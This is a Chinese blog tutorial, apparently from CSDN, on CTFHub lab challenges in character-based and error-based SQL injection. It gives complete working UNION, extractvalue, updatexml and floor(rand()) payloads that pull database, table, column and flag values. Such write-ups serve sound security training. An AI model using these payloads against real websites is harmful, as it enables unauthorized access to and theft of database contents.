字符型注入,报错注入

本文详细探讨了在CTFHub环境下,如何通过字符型和报错型SQL注入技术来判断和利用数据库漏洞,包括闭合方式判断、查询数据库名称、表名、列名及特定信息的获取,同时介绍了报错注入原理和实操方法,以及利用extractvalue、updatexml和floor函数的应用。
摘要由CSDN通过智能技术生成

一.ctfhub 字符型注入

1.判断是否有以及是什么型注入

输入不同种的语句 显示的不同 存在sql漏洞

输入1发现id=‘1’,所以为字符型注入

2.进行闭合

闭合后一个单引号的方法:

可以用注释符#    --+    -- 等来注释单引号’

例如--+含义

--是起到注释的作用,+是启动空格的作用,在sql中用--注释后面必须加一个空格--才生效,所以我们不一定要用--+,可以用-- 加上空格在加上任意字符,都行

补充

判断闭合方式


首先尝试:
?id=1’
?id=1”
结果一:如果都报错——判断闭合符为:整形闭合。

结果二:如果单引号报错,双引号不报错。

继续尝试
?id=1’ –-+
结果1:无报错——判断闭合符为:单引号闭合。
结果2:报错——判断闭合符可能为:单引号加括号。

结果3:如果单引号不报错,双引号报错。
继续尝试
?id=1" -–+
结果1:结果无报错——判断闭合符为:双引号闭合。
结果2:报错——判断闭合符可能为:双引号加括号。

注意:这里的括号不一定只有一个,闭合符里是允许多个括号组合成闭合符的,具体要判段有多少个括号,可以使用二分法来快速判断。

3.查询数据库名称

输入-1' union select 1,database()# 看到了sqli库

4.查询表名

输入

-1' union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()#

查到了news和flag两个表名

5.从元数据库查出当前数据库下的某个表下的所有列名

输入

-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'#

6.从当前数据库下的某个表中的查某一列的信息

-1' union select 1,flag from sqli.flag#

二.ctfhub 报错型注入

1.原理:

SQL报错注入就是利用数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这种手段在联合查询受限且能返回错误信息的情况下比较好用。

2.构造报错注入的基本步骤

  1. )构造目标查询语句;
  2. )选择报错注入函数;
  3. )构造报错注入语句;
  4. )拼接报错注入语句;

3.前提

页面上没有显示位,但是必须有SQL语句执行错误的信息。

4.主要种类

Sql注入主要有三种方法,extractvalue和updatexml函数形成的xpath报错,还有一种就是floor实现的group by主键重复。

报错注入的原理在于三个函数: count(*),rand(),floor()以及group by

1.)floor()函数 的作用是返回小于等于该值的最大整数,也可以理解为向下取整,只保留整数部分。
2.)rand()函数 可以用来生成0或1,但是rand(0)和rand()还是有本质区别的,rand(0)相当于给rand()函数传递了一个参数,然后rand()函数会根据0这个参数进行随机数成成。rand()生成的数字是完全随机的,而rand(0)是有规律的生成。
3.)group by 进行分组查询的时候,数据库会生成一张虚拟表,在虚拟表中,group by后面的字段作为主键,所以这张表中主键是name,这样我们就基本弄清报错的原因了,其原因主要是因为虚拟表的主键重复。

按照MySQL的官方说法,group by要进行两次运算,第一次是拿group by后面的字段值到虚拟表中去对比前,首先获取group by后面的值;第二次是假设group by后面的字段的值在虚拟表中不存在,那就需要把它插入到虚拟表中,这里在插入时会进行第二次运算,由于rand函数存在一定的随机性,所以第二次运算的结果可能与第一次运算的结果不一致,但是这个运算的结果可能在虚拟表中已经存在了,那么这时的插入必然导致主键的重复,进而引发错误。

5.实操

1.)利用extractvalue来xpath报错。

输入1显示“查询正确”——由此推断出其为SQL报错注入

构造目标查询语句 ——查询数据库

1 and (select extractvalue(1, concat(0x7e, (select database()))))

选择报错注入函数  ——查看表名

1 and (select extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema= 'sqli'))))

构造报错注入语句 ——判断数据列的名称

1 and (select extractvalue(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name= 'flag'))))

拼接报错注入语句  ——从当前数据库下的某个表中的查某一列的信息

1 and (select extractvalue(1, concat(0x7e, (select flag from flag))))

2.)利用updatexml来xpath报错。

构造目标查询语句——查询数据库

1 and (select updatexml(1, (concat (0x7e, (select database()))),1))

选择报错注入函数——查看表名

1 and (select updatexml(1, (concat (0x7e, (select group_concat(table_name) from information_schema.tables where table_schema='sqli'))),1))

构造报错注入语句——查看列名

1 and (select updatexml(1, (concat (0x7e, (select group_concat(column_name) from information_schema.columns where table_name='flag'))),1))

拼接报错注入语句 ——从当前数据库下的某个表中的查某一列的信息

1 and (select updatexml(1, concat(0x7e, (select flag from flag)), 1))

3)利用floor来group by主键重复报错。

构造目标查询语句;——查看库名

1 union select count(*), concat((select database()), floor(rand(0)*2)) x from news group by x


选择报错注入函数 ——查看表名

1 union select count(*), concat((select table_name from information_schema.tables where table_schema='sqli' limit 1,1), floor(rand(0)*2)) x from news group by x

构造报错注入语句;——查看列名

1 union select count(*), concat((select column_name from information_schema.columns where table_name='flag' limit 0,1), floor(rand(0)*2)) x from news group by x

拼接报错注入语句——从当前数据库下的某个表中的查某一列的信息

1 union select count(*), concat((select flag from flag limit 0,1), floor(rand(0)*2)) x from news group by x

 

参考资料:

http://t.csdnimg.cn/rZeqm

http://t.csdnimg.cn/ek8oB

http://t.csdnimg.cn/gXxzU

http://t.csdnimg.cn/FzKVW

http://t.csdnimg.cn/K0xtn

http://t.csdnimg.cn/Zysrh

  • 40
    点赞
  • 36
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值